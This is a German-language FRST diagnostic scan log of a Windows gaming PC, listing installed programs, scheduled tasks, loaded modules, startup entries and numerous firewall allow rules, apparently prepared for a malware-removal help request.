DefaultAccount (S-1-5-21-1446151640-2387740664-487604262-503 - Limited - Disabled)

defaultuser0 (S-1-5-21-1446151640-2387740664-487604262-1000 - Limited - Disabled) => C:\Users\defaultuser0

Gast (S-1-5-21-1446151640-2387740664-487604262-501 - Limited - Disabled)
 

==================== Sicherheits-Center ========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)
 

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
 

==================== Installierte Programme ======================
 

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)
 

Adobe Flash Player 25 PPAPI (HKLM-x32\...\Adobe Flash Player PPAPI) (Version: 25.0.0.148 - Adobe Systems Incorporated)

Ansel (Version: 378.92 - NVIDIA Corporation) Hidden

AutoIt v3.3.14.2 (HKLM-x32\...\AutoItv3) (Version: 3.3.14.2 - AutoIt Team)

Battle.net (HKLM-x32\...\Battle.net) (Version:  - Blizzard Entertainment)

CPUID HWMonitor 1.30 (HKLM\...\CPUID HWMonitor_is1) (Version:  - )

CrystalDiskInfo 7.0.5 (HKLM-x32\...\CrystalDiskInfo_is1) (Version: 7.0.5 - Crystal Dew World)

DAEMON Tools Ultra (HKLM\...\DAEMON Tools Ultra) (Version: 5.0.0.0540 - Disc Soft Ltd)

Diablo II (HKLM-x32\...\Diablo II) (Version: 0.0.0.0 - Blizzard Entertainment)

Diablo III (HKLM-x32\...\Diablo III) (Version:  - Blizzard Entertainment)

Dota 2 (HKLM\...\Steam App 570) (Version:  - Valve)

Google Chrome (HKLM-x32\...\Google Chrome) (Version: 58.0.3029.81 - Google Inc.)

Google Update Helper (x32 Version: 1.3.32.7 - Google Inc.) Hidden

Hearthstone (HKLM-x32\...\Hearthstone) (Version:  - Blizzard Entertainment)

Heroes of the Storm (HKLM-x32\...\Heroes of the Storm) (Version:  - Blizzard Entertainment)

hide.me VPN 1.2.12 (HKLM-x32\...\{0E00BDA5-7998-4889-BE4B-39A4BBD2EDFB}_is1) (Version: 1.2.12 - eVenture Limited)

HP ENVY 4520 series - Grundlegende Software für das Gerät (HKLM\...\{AC99F717-0091-4818-920D-C778C9BACA9D}) (Version: 36.0.72.54013 - Hewlett-Packard Co.)

HP Google Drive Plugin (HKLM-x32\...\{1502BB1F-7870-4DC9-9178-65CFE00D070C}) (Version: 36.0.31.53050 - Hewlett-Packard Co.)

Java 8 Update 121 (64-bit) (HKLM\...\{26A24AE4-039D-4CA4-87B4-2F64180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

Java 8 Update 121 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F32180121F0}) (Version: 8.0.1210.13 - Oracle Corporation)

JDownloader 2 (HKLM\...\jdownloader2) (Version: 2.0 - AppWork GmbH)

Malwarebytes Anti-Malware versione 2.2.1.1043 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.1.1043 - Malwarebytes)

Malwarebytes Version 3.0.6.1469 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.0.6.1469 - Malwarebytes)

Microsoft Office Professional Plus 2016 (HKLM\...\Office16.PROPLUS) (Version: 16.0.4266.1001 - Microsoft Corporation)

Microsoft OneDrive (HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\OneDriveSetup.exe) (Version: 17.3.6816.0313 - Microsoft Corporation)

Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)

Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)

Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.23918 (HKLM-x32\...\{2e085fd2-a3e4-4b39-8e10-6b8d35f55244}) (Version: 14.0.23918.0 - Microsoft Corporation)

Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)

Minecraft1.9 (HKLM-x32\...\Minecraft1.9) (Version:  - )

NVIDIA 3D Vision Controller-Treiber 369.04 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.NVIRUSB) (Version: 369.04 - NVIDIA Corporation)

NVIDIA 3D Vision Treiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 378.92 - NVIDIA Corporation)

NVIDIA GeForce Experience 3.5.0.70 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.5.0.70 - NVIDIA Corporation)

NVIDIA Grafiktreiber 378.92 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 378.92 - NVIDIA Corporation)

NVIDIA HD-Audiotreiber 1.3.34.23 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.23 - NVIDIA Corporation)

NVIDIA PhysX-Systemsoftware 9.16.0318 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.PhysX) (Version: 9.16.0318 - NVIDIA Corporation)

NvNodejs (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

NvTelemetry (Version: 2.4.5.0 - NVIDIA Corporation) Hidden

NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden

OnScreen Control (HKLM-x32\...\{E5C1B339-0E4E-49A5-859E-5E1DE1938706}) (Version: 1.39 - LG Electronics Inc)

Outils de vérification linguistique 2016 de Microsoft Office*- Français (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Overwatch (HKLM-x32\...\Overwatch) (Version:  - Blizzard Entertainment)

Razer Chroma SDK Core Components (HKLM-x32\...\Razer Chroma SDK) (Version: 1.14.7 - Razer Inc.)

Razer Synapse (HKLM-x32\...\{0D78BEE2-F8FF-4498-AF1A-3FF81CED8AC6}) (Version: 2.20.17.302 - Razer Inc.)

Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.7848 - Realtek Semiconductor Corp.)

resident evil 4 / biohazard 4 (HKLM\...\Steam App 254700) (Version:  - Capcom)

SHIELD Streaming (Version: 7.1.0360 - NVIDIA Corporation) Hidden

SHIELD Wireless Controller Driver (Version: 3.5.0.70 - NVIDIA Corporation) Hidden

Shovel Knight (HKLM-x32\...\1207664823_is1) (Version: 2.0.0.5 - GOG.com)

Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)

SpeedFan (remove only) (HKLM-x32\...\SpeedFan) (Version:  - )

StarCraft II (HKLM-x32\...\StarCraft II) (Version:  - Blizzard Entertainment)

Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)

Strumenti di correzione di Microsoft Office 2016 - Italiano (Version: 16.0.4266.1001 - Microsoft Corporation) Hidden

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-0011-0000-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

Update for Skype for Business 2016 (KB3178717) 64-Bit Edition (HKLM\...\{90160000-012B-0407-1000-0000000FF1CE}_Office16.PROPLUS_{45503767-F19E-4421-B930-8B0004ACA804}) (Version:  - Microsoft)

VLC media player (HKLM-x32\...\VLC media player) (Version: 2.2.4 - VideoLAN)

Vulkan Run Time Libraries 1.0.39.1 (HKLM\...\VulkanRT1.0.39.1) (Version: 1.0.39.1 - LunarG, Inc.)

Windows 10 Update and Privacy Settings (HKLM\...\{293F2009-0145-450B-B4AA-063D43FB368C}) (Version: 1.0.13.0 - Microsoft Corporation)

WinRAR 5.40 (64-Bit) (HKLM\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

World of Warcraft (HKLM-x32\...\World of Warcraft) (Version:  - Blizzard Entertainment)
 

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 
 

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

Task: {152E5D51-00AA-46BA-860A-E25C2EB3A14A} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_148_pepper.exe [2017-04-22] (Adobe Systems Incorporated)

Task: {20FCF163-FE9B-4D38-AE7C-72BE70DDE7A8} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {2EDA172E-7F18-4A89-B766-59CF7F12DC92} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-04-22] (Google Inc.)

Task: {31A706B3-3F75-4EBC-BC6B-153C24C7F6B2} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-03-28] (NVIDIA Corporation)

Task: {4D5DB8DA-F4C6-4FBD-994D-966D95FA3E25} - System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)

Task: {620D1BF5-BA88-4BB2-B87B-0B89DB524599} - System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NvNode\nvnodejslauncher.exe [2017-03-28] (NVIDIA Corporation)

Task: {806EB92E-F18E-4C15-B634-928C20ADCF4E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {84BCFF99-883C-410B-A883-5707CA13A572} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {91D480AD-8E90-4DAB-83E0-29D462EA8F3E} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)

Task: {BC7F9A94-3626-41DE-A5AE-38E2B20773E9} - System32\Tasks\Microsoft\Office\Office 15 Subscription Heartbeat => C:\Program Files\Common Files\Microsoft Shared\Office16\OLicenseHeartbeat.exe [2015-07-31] (Microsoft Corporation)

Task: {C0B0CC45-769A-47D5-A872-0ADC5D73E6CA} - System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmMon.exe [2017-03-28] (NVIDIA Corporation)

Task: {CA8A9A0E-746F-454B-9419-1BCB3A146E8A} - System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-03-28] (NVIDIA Corporation)

Task: {F026B1C0-323C-4E3D-A09E-0F3DB2286A37} - System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvTmRep.exe [2017-03-28] (NVIDIA Corporation)
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
 
 

==================== Verknüpfungen =============================
 

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)
 

Shortcut: C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Minecraft\Minecraft Debugger.lnk -> C:\Users\Andy\AppData\Roaming\.minecraft\minecraft launcher\Debug.bat ()
 

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============
 

2017-02-16 08:09 - 2015-05-08 14:26 - 00936728 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe

2017-02-16 08:10 - 2014-04-24 14:29 - 01360016 _____ () C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe

2016-09-25 01:20 - 2016-09-25 01:21 - 00189264 _____ () C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe

2017-03-09 21:46 - 2015-12-14 18:35 - 00065024 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook64.dll

2017-03-18 22:58 - 2017-03-18 22:58 - 00138000 _____ () C:\Windows\SYSTEM32\inputhost.dll

2017-03-18 22:59 - 2017-03-20 06:43 - 01731072 _____ () C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\Cortana.Core.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 01147328 _____ () C:\Program Files\NVIDIA Corporation\NvContainer\libprotobuf.dll

2017-02-16 11:04 - 2017-04-25 05:17 - 00035840 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\PEbiosinterface32.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00104448 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\ATKEX.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 00900032 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetSetupSvc => ""="Service"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2016-07-16 13:47 - 2017-04-25 05:05 - 00000793 ____A C:\Windows\system32\Drivers\etc\hosts
 
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper

DNS Servers: 192.168.2.1

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"

HKLM\...\StartupApproved\Run32: => "Razer Synapse"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\StartupFolder: => "hide.me VPN.lnk"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "OneDrive"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Skype"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Steam"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "DAEMON Tools Ultra Agent"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "HP ENVY 4520 series (NET)"
 

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [{7D0611DC-87D8-406D-AE24-23F6AA3A9BC8}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{23EFFCF8-E204-486D-8985-35F50AAC7E7A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6DDC486-9083-456D-9AC6-5C26257A51A0}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{4CF0F164-BD6B-4C55-AFB7-05BB77F22C87}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{6C2F9177-6FED-492E-9E45-4FA394BF35DC}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{4DFDE64C-22F3-4186-9740-79B05048B7EB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{10BA93CD-9F5F-42E9-816A-64A3A52090A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE84816-6D3D-4307-A3F0-EE24BBBECEE1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{49A0F2AB-022F-4EE8-BABD-643CE19CD518}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{01C43216-6CA9-42B2-B799-92D86D3310D2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3A79D5B5-B9B8-4A82-8C44-D1C851DBDB8F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{EEA660A7-3B94-4985-B8C8-9354E6F39A76}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7AF03405-FD89-40E8-B8B2-FF774C3EC389}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [{5F065F0C-534B-4829-BC07-C2C79F090803}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [UDP Query User{7F2ACCAA-31F6-4848-9005-EF3F45EF5661}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [TCP Query User{4607FD40-C476-4D55-A0E5-299D8D818333}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [UDP Query User{E4C37615-9561-4FEC-B46A-A59061C7DA32}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [TCP Query User{7CB62AEF-5811-40EE-A581-2D8443F49A9A}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [{402B93D0-E69C-4C57-B4ED-57863DBE8E56}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{913E64CD-CEBE-42FC-B75F-50AC52850107}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{A46CEC6C-741C-4F08-B7CE-7B851B4BBC84}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [TCP Query User{71F507F3-2C79-42B6-B82D-BB656B193B5C}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [UDP Query User{3E7831B8-5AD1-401A-B4FE-FE862779F413}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [TCP Query User{AC48CC9C-BEEB-41F8-B6FE-BDE9594E996A}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [{E709CF75-200F-4F69-BA64-6DC325D6E4D8}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{2A97E5CC-CDE3-4833-B786-780A36477E78}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{5E1D53C5-16C7-41D8-8F60-5C45F1F883E4}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{3B8F01F2-44B4-48F1-893E-F25A6B5A80A6}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{CCCA6BFF-D475-4AB1-8714-67231C30B171}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{801303BD-D483-45F9-8BE4-0C3092210BFA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7B2B89EC-B084-4775-909E-1E436A8CCEE0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9BC25817-B7F2-4E86-B78C-D190A59CDDC0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{82DAAF33-AB25-4F77-B2DE-2A08EA76CE8E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D881E7B1-3C84-4951-9113-200ADD8C57D3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{437CD7DC-FAA4-46BD-8E05-D2038926F1DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3ADA770B-6B5A-4072-8A7F-7426703317D1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{A09BC896-94A9-43AF-8349-AF24CBB0E9DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{698729B4-F743-4C8D-B638-22B026E7476C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{31E35830-FF05-4270-B952-45F331BCF7E2}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{02162ABF-48A1-40D9-9FDE-497FCA82022C}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [{18052865-7A27-4EB6-87C3-2A124516D252}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{136DA40C-399A-4957-B063-E65635B57C01}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79DFFE54-2093-4DB7-9DEC-8F1C327CC4A9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2D0D03FD-E381-4621-9462-9B866A2A02BE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6C1355F-097F-4C1F-B048-FA9D00EC563D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4EE80D68-A42F-4644-B2B4-EEFBA1D991C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{9372E204-7160-4101-8EC5-940766D5730F}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [TCP Query User{45C2CE56-998B-426C-975B-4C3F21D71052}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [{B7E6FEB9-5123-4349-952E-83EC9E0453C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C5047B19-7C93-4444-88E0-CD4595D3C1A3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C44C1673-EAB1-4CE1-ABFF-239AA777E102}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8F5F4CA-9870-4E19-880E-C8E7DDBD5EFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{B70DDCB0-378D-4473-BDAD-659DEFA9A185}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [TCP Query User{C101FBC7-665A-430C-B94B-4DC081DE017B}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [{F5BFB382-48AB-474F-8147-7258DACA99F9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2C4FCF9E-6DA7-49B6-9B60-FDCA6DA45A11}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F3EB37A0-86EC-417D-A277-B84906E63A4F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{110C40BC-BF07-4859-80D8-725400F0D98A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1A38DC04-B5BD-48D9-9981-CD21E114FF5E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F4FD4A06-943E-405D-8206-65AC272DF70F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE8D090-0D11-498B-BDA5-52D143E2DB4A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{933709EE-90F2-4133-9D31-EAE0B7F8B6A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

